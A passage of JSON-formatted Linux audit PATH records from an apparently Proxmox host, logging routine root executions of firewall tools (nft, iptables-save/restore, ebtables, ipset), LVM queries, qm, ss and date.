dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965094351,"@rawstring":"node=pve type=PATH msg=audit(1781965094.351:64132): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965094324,"@rawstring":"node=pve type=PATH msg=audit(1781965094.324:64131): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965094324,"@rawstring":"node=pve type=PATH msg=audit(1781965094.324:64131): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=PATH msg=audit(1781965091.757:64130): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=PATH msg=audit(1781965091.757:64130): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=PATH msg=audit(1781965091.757:64129): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=PATH msg=audit(1781965091.757:64128): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091750,"@rawstring":"node=pve type=PATH msg=audit(1781965091.750:64127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091750,"@rawstring":"node=pve type=PATH msg=audit(1781965091.750:64127): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091750,"@rawstring":"node=pve type=PATH msg=audit(1781965091.750:64126): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965091749,"@rawstring":"node=pve type=PATH msg=audit(1781965091.749:64125): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086741,"@rawstring":"node=pve type=PATH msg=audit(1781965086.741:64124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086741,"@rawstring":"node=pve type=PATH msg=audit(1781965086.741:64124): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086741,"@rawstring":"node=pve type=PATH msg=audit(1781965086.741:64123): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086741,"@rawstring":"node=pve type=PATH msg=audit(1781965086.741:64122): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086733,"@rawstring":"node=pve type=PATH msg=audit(1781965086.733:64121): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086733,"@rawstring":"node=pve type=PATH msg=audit(1781965086.733:64121): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086733,"@rawstring":"node=pve type=PATH msg=audit(1781965086.733:64120): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965086732,"@rawstring":"node=pve type=PATH msg=audit(1781965086.732:64119): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085997,"@rawstring":"node=pve type=PATH msg=audit(1781965085.997:64118): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085997,"@rawstring":"node=pve type=PATH msg=audit(1781965085.997:64118): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085995,"@rawstring":"node=pve type=PATH msg=audit(1781965085.995:64117): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085995,"@rawstring":"node=pve type=PATH msg=audit(1781965085.995:64117): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085993,"@rawstring":"node=pve type=PATH msg=audit(1781965085.993:64116): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085993,"@rawstring":"node=pve type=PATH msg=audit(1781965085.993:64116): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085993,"@rawstring":"node=pve type=PATH msg=audit(1781965085.993:64115): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085987,"@rawstring":"node=pve type=PATH msg=audit(1781965085.987:64114): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085987,"@rawstring":"node=pve type=PATH msg=audit(1781965085.987:64114): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085987,"@rawstring":"node=pve type=PATH msg=audit(1781965085.987:64114): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085981,"@rawstring":"node=pve type=PATH msg=audit(1781965085.981:64113): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085981,"@rawstring":"node=pve type=PATH msg=audit(1781965085.981:64113): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085975,"@rawstring":"node=pve type=PATH msg=audit(1781965085.975:64112): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085975,"@rawstring":"node=pve type=PATH msg=audit(1781965085.975:64112): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085967,"@rawstring":"node=pve type=PATH msg=audit(1781965085.967:64111): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085967,"@rawstring":"node=pve type=PATH msg=audit(1781965085.967:64111): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085960,"@rawstring":"node=pve type=PATH msg=audit(1781965085.960:64110): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085960,"@rawstring":"node=pve type=PATH msg=audit(1781965085.960:64110): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085955,"@rawstring":"node=pve type=PATH msg=audit(1781965085.955:64108): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085955,"@rawstring":"node=pve type=PATH msg=audit(1781965085.955:64108): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085951,"@rawstring":"node=pve type=PATH msg=audit(1781965085.951:64107): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085951,"@rawstring":"node=pve type=PATH msg=audit(1781965085.951:64107): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085945,"@rawstring":"node=pve type=PATH msg=audit(1781965085.945:64106): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085945,"@rawstring":"node=pve type=PATH msg=audit(1781965085.945:64106): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085938,"@rawstring":"node=pve type=PATH msg=audit(1781965085.938:64105): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085938,"@rawstring":"node=pve type=PATH msg=audit(1781965085.938:64105): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085931,"@rawstring":"node=pve type=PATH msg=audit(1781965085.931:64104): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085931,"@rawstring":"node=pve type=PATH msg=audit(1781965085.931:64104): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085927,"@rawstring":"node=pve type=PATH msg=audit(1781965085.927:64103): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085927,"@rawstring":"node=pve type=PATH msg=audit(1781965085.927:64103): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085921,"@rawstring":"node=pve type=PATH msg=audit(1781965085.921:64102): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085921,"@rawstring":"node=pve type=PATH msg=audit(1781965085.921:64102): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085913,"@rawstring":"node=pve type=PATH msg=audit(1781965085.913:64101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085913,"@rawstring":"node=pve type=PATH msg=audit(1781965085.913:64101): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085910,"@rawstring":"node=pve type=PATH msg=audit(1781965085.910:64100): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085910,"@rawstring":"node=pve type=PATH msg=audit(1781965085.910:64100): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=PATH msg=audit(1781965085.906:64099): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=PATH msg=audit(1781965085.906:64099): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=PATH msg=audit(1781965085.906:64098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=PATH msg=audit(1781965085.906:64098): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=PATH msg=audit(1781965085.906:64097): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085901,"@rawstring":"node=pve type=PATH msg=audit(1781965085.901:64096): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085901,"@rawstring":"node=pve type=PATH msg=audit(1781965085.901:64096): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085901,"@rawstring":"node=pve type=PATH msg=audit(1781965085.901:64096): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085895,"@rawstring":"node=pve type=PATH msg=audit(1781965085.895:64095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085895,"@rawstring":"node=pve type=PATH msg=audit(1781965085.895:64095): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085887,"@rawstring":"node=pve type=PATH msg=audit(1781965085.887:64094): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085887,"@rawstring":"node=pve type=PATH msg=audit(1781965085.887:64094): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085881,"@rawstring":"node=pve type=PATH msg=audit(1781965085.881:64093): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085881,"@rawstring":"node=pve type=PATH msg=audit(1781965085.881:64093): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085874,"@rawstring":"node=pve type=PATH msg=audit(1781965085.874:64092): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085874,"@rawstring":"node=pve type=PATH msg=audit(1781965085.874:64092): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085864,"@rawstring":"node=pve type=PATH msg=audit(1781965085.864:64091): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965085864,"@rawstring":"node=pve type=PATH msg=audit(1781965085.864:64091): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965084218,"@rawstring":"node=pve type=PATH msg=audit(1781965084.218:64090): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965084218,"@rawstring":"node=pve type=PATH msg=audit(1781965084.218:64090): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965084165,"@rawstring":"node=pve type=PATH msg=audit(1781965084.165:64089): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965084165,"@rawstring":"node=pve type=PATH msg=audit(1781965084.165:64089): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965083481,"@rawstring":"node=pve type=PATH msg=audit(1781965083.481:64088): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965083481,"@rawstring":"node=pve type=PATH msg=audit(1781965083.481:64088): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965083481,"@rawstring":"node=pve type=PATH msg=audit(1781965083.481:64088): item=0 name=\"/usr/sbin/qm\" inode=310596 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965083409,"@rawstring":"node=pve type=PATH msg=audit(1781965083.409:64087): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965083409,"@rawstring":"node=pve type=PATH msg=audit(1781965083.409:64087): item=0 name=\"/bin/ss\" inode=260933 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081723,"@rawstring":"node=pve type=PATH msg=audit(1781965081.723:64086): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081723,"@rawstring":"node=pve type=PATH msg=audit(1781965081.723:64086): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081723,"@rawstring":"node=pve type=PATH msg=audit(1781965081.723:64085): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081723,"@rawstring":"node=pve type=PATH msg=audit(1781965081.723:64084): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081713,"@rawstring":"node=pve type=PATH msg=audit(1781965081.713:64083): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081713,"@rawstring":"node=pve type=PATH msg=audit(1781965081.713:64083): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081713,"@rawstring":"node=pve type=PATH msg=audit(1781965081.713:64082): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081713,"@rawstring":"node=pve type=PATH msg=audit(1781965081.713:64081): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076706,"@rawstring":"node=pve type=PATH msg=audit(1781965076.706:64080): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076706,"@rawstring":"node=pve type=PATH msg=audit(1781965076.706:64080): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076706,"@rawstring":"node=pve type=PATH msg=audit(1781965076.706:64079): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076706,"@rawstring":"node=pve type=PATH msg=audit(1781965076.706:64078): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076697,"@rawstring":"node=pve type=PATH msg=audit(1781965076.697:64077): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076697,"@rawstring":"node=pve type=PATH msg=audit(1781965076.697:64077): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 